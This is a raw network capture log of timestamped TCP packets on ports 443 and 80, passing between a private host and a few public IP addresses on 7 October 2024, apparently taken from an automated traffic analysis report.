Oct 7, 2024 14:10:11.832360983 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.832372904 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.832408905 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.832415104 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.832443953 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.832456112 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.833720922 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.833775043 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.833789110 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.833842039 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.833853006 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.833854914 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.833904982 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.836625099 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.836637020 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.880692005 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.880907059 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.880920887 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.881424904 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:11.881449938 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:11.881495953 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:11.881535053 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.881865978 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:11.881876945 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:11.882204056 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.882282972 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.882427931 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.891352892 CEST	80	49710	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.891532898 CEST	49710	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.927408934 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.957850933 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.966809034 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.988143921 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.988207102 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.988432884 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.988456011 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.989578009 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.990041971 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.990190983 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.990202904 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.990230083 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.992157936 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.992224932 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.992568970 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.992640018 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.992679119 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.997682095 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.997769117 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.997821093 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.998090982 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.998116970 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:12.003376961 CEST	49710	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.008335114 CEST	80	49710	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.022231102 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.022406101 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.022452116 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.025548935 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.025567055 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.026252031 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.026289940 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.026340961 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.030597925 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.030611038 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.035284042 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.035307884 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.035988092 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.052999020 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.053194046 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.053212881 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.053697109 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.053925991 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.053936005 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.054647923 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.054703951 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.054822922 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.054866076 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.055232048 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.055309057 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.055522919 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.055529118 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.055794001 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.055852890 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.055875063 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.080467939 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.095405102 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.099772930 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.100114107 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.100177050 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.102703094 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:12.102746964 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:12.102823973 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:12.102994919 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.103019953 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:12.103028059 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:12.103065014 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.103403091 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.103579044 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.103643894 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.103887081 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.103905916 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.111157894 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.111164093 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.119668007 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.119721889 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.119776011 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.119791985 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.119867086 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.119916916 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.121684074 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.121699095 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.122206926 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.122245073 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.122334957 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.124106884 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.124125004 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.129060030 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.129120111 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.129184008 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.129198074 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.129249096 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.129590034 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.129717112 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.129772902 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.137207031 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.137219906 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.137742043 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.137826920 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.137912989 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.139358997 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.139420986 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.145133018 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.161164045 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.191332102 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.191447020 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.191494942 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.191509962 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.191570044 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.191616058 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.194679022 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.194694996 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.194731951 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.194746017 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.194753885 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.194782019 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.195004940 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.195039034 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.195804119 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.195816040 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.196459055 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.196502924 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.196551085 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.197140932 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.197163105 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.199551105 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.199562073 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.199948072 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.199975967 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.200021982 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.200598001 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.200615883 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.239756107 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.239813089 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.239932060 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.239955902 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.239995956 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.241269112 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.241393089 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.241452932 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.297089100 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.297117949 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.311306953 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:12.311491966 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:12.311506987 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:12.312928915 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:12.312987089 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:12.313483000 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:12.313558102 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:12.313770056 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:12.313776016 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:12.331552982 CEST	49743	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.331640005 CEST	443	49743	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.331723928 CEST	49743	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.332032919 CEST	49743	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:12.332072973 CEST	443	49743	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:12.365554094 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.397372961 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:13.397594929 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:13.397627115 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:13.401350021 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:13.401443958 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:13.401695967 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.401706934 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:13.401823044 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:13.401990891 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.401998997 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.402256012 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:13.402261972 CEST	443	49738	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:13.403655052 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.403727055 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.403812885 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.403918028 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.403987885 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.404016018 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.404506922 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.404591084 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.404741049 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.404751062 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.405083895 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.405102968 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.405180931 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.405185938 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.405214071 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.405344009 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.405352116 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.405774117 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.405859947 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.406011105 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.406128883 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.406135082 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.406243086 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.406588078 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.406682968 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.406832933 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.406867981 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.406899929 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.406934977 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.407320976 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.407373905 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.407433033 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.407612085 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.407614946 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.407810926 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.407816887 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.442184925 CEST	49738	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:13.447419882 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.455400944 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.455410957 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.457382917 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.457403898 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.482971907 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483354092 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483408928 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.483418941 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483586073 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483654976 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.483659983 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483742952 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483783007 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.483788013 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483886003 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.483928919 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.483933926 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.484024048 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.484153986 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.484158993 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.497029066 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.497092009 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.497097969 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.540369034 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.540399075 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.540422916 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.540462971 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.540472984 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.540493011 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.540523052 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.540548086 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.544462919 CEST	49742	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.544471025 CEST	443	49742	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.544931889 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.544981956 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545005083 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545026064 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545059919 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545063019 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.545068979 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545099020 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.545120001 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545191050 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.545247078 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.545262098 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.545311928 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.548976898 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.549166918 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.549262047 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.551098108 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.563636065 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.563714027 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.563734055 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.563787937 CEST	443	49740	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.563961029 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.564395905 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.564462900 CEST	49741	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.564466953 CEST	443	49741	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.564526081 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.564678907 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.564719915 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.564728022 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.564826965 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.564925909 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.564935923 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.564948082 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.564986944 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.565164089 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565304995 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565346003 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.565351009 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565615892 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565660954 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.565665960 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565762043 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565845013 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.565884113 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.565890074 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.566111088 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.566503048 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.566668987 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.566715956 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.566721916 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.566807032 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.566884995 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.566898108 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.567522049 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.567610025 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.567610979 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.567637920 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.567677975 CEST	49736	443	192.168.2.5	151.101.130.137
Oct 7, 2024 14:10:13.567713976 CEST	443	49736	151.101.130.137	192.168.2.5
Oct 7, 2024 14:10:13.569504976 CEST	49739	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.569514036 CEST	443	49739	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.569892883 CEST	49737	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.569909096 CEST	443	49737	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:13.576621056 CEST	49740	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:13.576652050 CEST	443	49740	192.185.125.111	192.168.2.5
